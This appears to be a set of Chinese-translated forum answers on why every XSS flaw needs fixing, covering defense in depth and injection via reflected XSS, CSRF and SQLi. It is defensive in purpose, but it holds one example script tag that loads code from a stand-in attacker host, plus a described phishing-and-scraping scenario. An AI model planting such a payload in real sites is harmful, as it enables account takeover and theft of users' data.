tl/dr：是的！纵深防御至关重要，因此任何 XSS 漏洞都是需要修复的漏洞，无论利用方法是否立即显而易见。

根本问题

无论有意与否，你的问题背后都有一个更重要的问题需要回答。本质上，您真正要问的是：

如果攻击者无法利用 XSS，我是否需要担心它？

答案很简单：您需要始终担心 XSS。任何 XSS 漏洞都是危险的，一旦知道，就应该按照最佳实践进行修复。即使不考虑您的具体情况，也应将其视为给定的。原因是 Web 应用程序很少是静态的。它们变化频繁且迅速。

有些东西作为一个仅限管理员使用的功能开始了，因此开发人员决定不担心安全性。六个月后，管理层提出变更请求，他们希望与客户共享该功能的一部分。最初的开发人员忙于其他事情，而新团队根本没有注意到该功能中没有 XSS 保护。结果，当他们将其推送给所有人时，该应用程序获得了一个明显的 XSS 漏洞。类似的事情一直在发生。因此，在任何地方都正确执行基本应用程序安全性至关重要。今天的不安全但私有的应用程序总是会成为明天的不安全和公开的应用程序。这会发生在你身上。

最后，纵深防御至关重要。许多现实生活中的漏洞之所以发生，是因为攻击者发现了一个弱点，使他们能够利用另一个弱点，从而导致另一个弱点，最终导致一些多汁的东西。“我的用户只能看到他们自己的数据，所以 XSS 无关紧要”在攻击者弄清楚如何将数据注入另一个用户的会话之前工作得很好。缺乏 XSS 保护将允许攻击者获得对其他用户数据的完全访问权限并可能接管他们的帐户，而 XSS 保护到位可能反而完全挫败了攻击。

一些细节

那么，攻击者有什么方法可以将数据注入到另一个用户的会话中呢？大概有！特别是：

1. 反射型 XSS（Steffen已经提到过）
2. CSRF 是一个主要问题：如果您的端点存在 CSRF 漏洞，攻击者可能会触发对另一个用户帐户的 CSRF 攻击，将 XSS 有效负载存储在他们的数据中，然后使用该 XSS 攻击来破坏用户的帐户.
3. SQLi：攻击者可能能够利用 SQLi 漏洞对所有用户的帐户执行存储的 XSS 攻击，从而破坏一切。

最后一个可能看起来有点牵强（仅仅是因为 SQLi 攻击本身通常是一个严重的问题），但在只写 SQLi 漏洞的情况下，这是一个合理的问题。

概括

拥有孤立的用户数据并不是能够忽略基本应用程序安全性的充分理由，因为它建立在一个假设之上：用户永远无法访问彼此的数据。这种假设很少成立。如果没有 XSS 保护，攻击者只需要在任何地方找到一个漏洞，允许他们将数据注入另一个用户的帐户即可接管它。但是，如果您在任何地方都采用适当的安全措施，那么攻击者将不得不找到一个允许他们注入数据的漏洞并找到一个允许他们的 XSS 有效负载执行的漏洞。这是一项艰巨的任务，将使您的用户更加安全。

您所描述的仅防止存储的 XSS。但是，如果服务器允许跨站点请求并且使用会话 cookie 在请求之间传输身份验证状态，那么反射 XSS 仍然是可能的——这两种情况通常都是如此。DOM XSS 甚至在没有跨站点请求和基于 cookie 的身份验证的情况下也是可能的，因为请求甚至没有发送到服务器。

如果用户离开他们的帐户登录怎么办？通常，攻击者只有很短的时间来利用此漏洞，但如果存在 XSS 漏洞，他们可以留下恶意脚本，即使在密码更改后也可能永久控制帐户。

脚本甚至不必在当时准备好。攻击者可以注入

<script src="http://hackerssite.com/not_yet_existent_malicious_script.js"></script>

进入网站，然后制作脚本。

我想到的 XSS 的第一个用法就是在这种情况下。假设攻击者想要读取存储在用户帐户中的所有私人信息。攻击者制作了看起来合法的网络钓鱼电子邮件，甚至链接到真实站点，但 URL 包含一个隐藏的脚本，当它加载时，屏幕抓取网页并将所有信息发送给攻击者。